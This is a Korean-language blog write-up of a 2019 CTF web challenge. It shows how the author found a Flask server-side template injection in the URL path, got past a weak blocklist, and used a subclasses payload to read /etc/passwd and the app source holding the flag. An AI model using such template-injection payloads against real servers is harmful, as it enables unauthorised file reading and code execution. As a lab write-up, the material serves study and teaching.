Notice
Recent Posts
Recent Comments
Link
«   2024/04   »
1 2 3 4 5 6
7 8 9 10 11 12 13
14 15 16 17 18 19 20
21 22 23 24 25 26 27
28 29 30
Archives
Today
Total
관리 메뉴

White Security

Hack Zone Tunisia - Some Chemistry 풀이 본문

CTF Writups

Hack Zone Tunisia - Some Chemistry 풀이

POSIX 2019. 4. 14. 19:03

 

Hack Zone Tunisia 2019 web 4번

SSTI 문제입니다.

 

 

접속하면 멋진 플라스크 GIF와

이 플라스크로부터 플래그를 얻으라는 메시지가 보입니다.

 

 

소스를 살펴보면 깔끔합니다.

css 파일도 열어봤지만, 전혀 도움이 되지 않았습니다.

 

http://149.56.110.180:5000/robots.txt

robots.txt

 

경로 힌트가 있는지 알아보기 위해

robots.txt 파일을 요청해 보았는데

뜻밖의 응답이 나왔습니다.

 

요청한 PATH가 그대로 출력이 되는 것이죠.

여기서 python-flask SSTI 취약점을 떠올릴 수 있었습니다.

 

http://149.56.110.180:5000/{{7*7}}

49 

 

기대한대로 연산이 수행되는 것을 확인할 수 있습니다.

다만 flask 기본 변수인 self, config 를

조회했을때 아무런 결과도 얻을 수 없었습니다.

 

 

그러던 중, request path에 /를 지우고 {{}}를 삽입해 보았는데

오류 메시지를 확인할 수 있었습니다.

 

 

내용이 길어 일부 생략하였습니다.

메시지를 읽어내려가다 보면 /app/app.py

파일의 내용을 볼 수 있는데

 

>>> print(secure('{{config}}'))
{% set config=None%}{% set self=None%}{{config}}

 

secure 함수를 사용하여

입력한 내용 앞에서 config, self 변수들을

초기화 하고 있다는 것을 알 수 있습니다.


>>> print(secure("{{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }}"))
{% set config=None%}{% set self=None%}{{ ''.__class__.__mro__[2].__subclasses__ ()[40] ('/etc/passwd').read () }}

 

하지만 그것이 전부이고 추가적인 필터링은 없기에

여타 flask SSTI payload 들을 이용하여

별 문제없이 시스템에 접근할 수 있습니다.

 

 

 

{{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }}

오류 메시지에서 확인한 서버의 소스 경로를 입력하면

플래그를 확인할 수 있습니다.

 

import flask
import os
from flask import render_template


app = flask.Flask(__name__)
app.config['FL44G'] = 'HZVII{n0t_S3cure_fl4sK_4pp}'


@app.route('/')
def index(index):
    def secure(s):
        s = s.replace('(', ' (').replace(')', ')')
        
        blacklist = ['config','self']
        return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist])+s
    if(flask.render_template_string(secure(index))=='None'):
        return 'Nice Try !!'
    else:

            return flask.render_template_string(secure(index))


@app.route('/')
def index1():
    return render_template('index.html')

if __name__ == '__main__':
    app.run(debug=True, host='0.0.0.0', port=5000)

 

HZVII{n0t_S3cure_fl4sK_4pp}
Comments